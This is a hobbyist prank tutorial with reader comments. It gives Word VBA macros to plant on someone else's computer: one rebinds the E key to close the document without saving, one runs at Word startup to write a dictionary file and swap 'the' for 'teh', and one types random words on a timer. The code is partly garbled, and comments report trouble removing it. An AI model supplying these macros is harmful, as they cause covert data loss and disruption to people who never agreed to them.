Introduction: Microsoft Word Prank
This Instructable will teach you how to do some cool pranks in Micro$oft Word.
***Disclaimer*** I am not responsible from any damage done to you computer!!! I will try my best to help you if a problem dose occur but I'm not a professional. I suggest not doing this to your computer because it a pain to remove only do it to a co-worker or person who you really hate. I only have a middle amount of knowledge of visual basic.
Step 1: Getting Into Visual Basic.
Hit the Keys Alt and F11 at the same time in Microsoft word.
Step 2: Visual Basic
Congrats your in Visual Basic!!!
Step 3: This Doc
Click on the icon that says This Document
Step 4: Cause and Effect
you clicked on this document Icon and a window should appear labeled This Document
Step 5: Code Monkey!
This is the part where you get to pretend your a code monkey. You have a few options for pranks
1) This code makes it so when ever the person using word types E the document will close without saving. The code is
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
2) This prank makes commonly misspelled words appear correct so no red line will appear under it.
Sub AutoExec()
Call WriteToATextFile
Dim dicCustom As Dictionary
Set dicCustom = Application.CustomDictionaries _
.Add(FileName:=“c:\customdic5.dic”)
Application.CustomDictionaries.ActiveCustomDictionary = dicCustom
With Application
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeySpacebar), KeyCategory:=wdKeyCategoryCommand, _
Command:=“spellit”
End With
End Sub
Sub WriteToATextFile()
MyFile = “c:\customdic5.dic”
fnum = FreeFile()
Open MyFile For Output As fnum
Print #fnum, “teh”
Print #fnum, “Teh”
Close #fnum
End Sub
Public Sub spellit()
Selection.TypeText Text:=“ ”
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = “the”
.Replacement.Text =“teh”
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = True
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = “The”
.Replacement.Text =“Teh”
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = True
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
End Sub
3) this prank makes swears randomly appear while the person is typing.
Sub typeRand()
Dim counter As String
counter = CStr(Int((30 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue(”00:00:” + counter), _
Name:=”TimedClose”
End Sub
Sub TimedClose()
Dim maindocument As Document
Set maindocument = activedocument
counter = CStr(Int((5 - 1 + 1) * Rnd + 1))
Select Case counter
Case 1
Selection.TypeText Text:=” ”
Case 2
Selection.TypeText Text:=” ”
Case 3
Selection.TypeText Text:=” ”
Case 4
Selection.TypeText Text:=” ”
Case 5
Selection.TypeText Text:=” ”
End Select
Call typeRand
End Sub
Step 6: Lights Camera Action
Now Just Hit the play button and watch the magic.
Step 7: UNdo It
For most people to undo the pranks hit Alt F11 and delete the code and restart word
This is the code for if the previous dose not work
FindKey(BuildKeyCode(wdKeyControl, wdKeyAlt, wdKeyA, wdKeyE)).Clear
application.CustomDictionaries.ClearAll
this should undo all the pranks if not plz contact me and i will double give you another way or maybe the code is wrong just tell me if it doesn't work
This site will help too
http://support.microsoft.com/kb/822005
36 Comments
13 years ago on Introduction
i have word 2007 now my e doesnt work please help me fix this
Reply 13 years ago on Introduction
If the code in the removal step doesn't work go to this site http://support.microsoft.com/kb/822005
and try their methods
13 years ago on Step 5
dude....I have Word 2007 and it doesn't work!!!! please suggest me a way to get rid of this !!!
13 years ago on Introduction
There is something worng with the 3rd code for the swearing in word, it has jumbled symbols on the code and doesn't work. Can this be re done please?
Reply 13 years ago on Introduction
sorry about that i don't know how that happened i will try to fix it
13 years ago on Introduction
1st image reminds me of:
13 years ago on Step 5
can someone copy the third code and replace it with more suitable words?'
Reply 13 years ago on Introduction
just manually do it, by changing out the words to what you want them to be, that should work for you
14 years ago on Introduction
macintrash
Reply 13 years ago on Introduction
microsofties
Reply 13 years ago on Introduction
hacked.
Reply 13 years ago on Introduction
its just a friendly jest. btw i liked your 'ible on how to make a pc look like a mac
Reply 13 years ago on Introduction
thanks. lol, i guess thats kind of hippicritical huh?
Reply 13 years ago on Introduction
a little
Reply 13 years ago on Introduction
what do you mean?
Reply 13 years ago on Introduction
hackintosh.
Reply 13 years ago on Introduction
lol microspamed
Reply 13 years ago on Introduction
just friendly rivalry
14 years ago on Introduction
How do you get this to work on word 2007? I tried and it was a syntax error :(
Reply 13 years ago on Introduction
LOL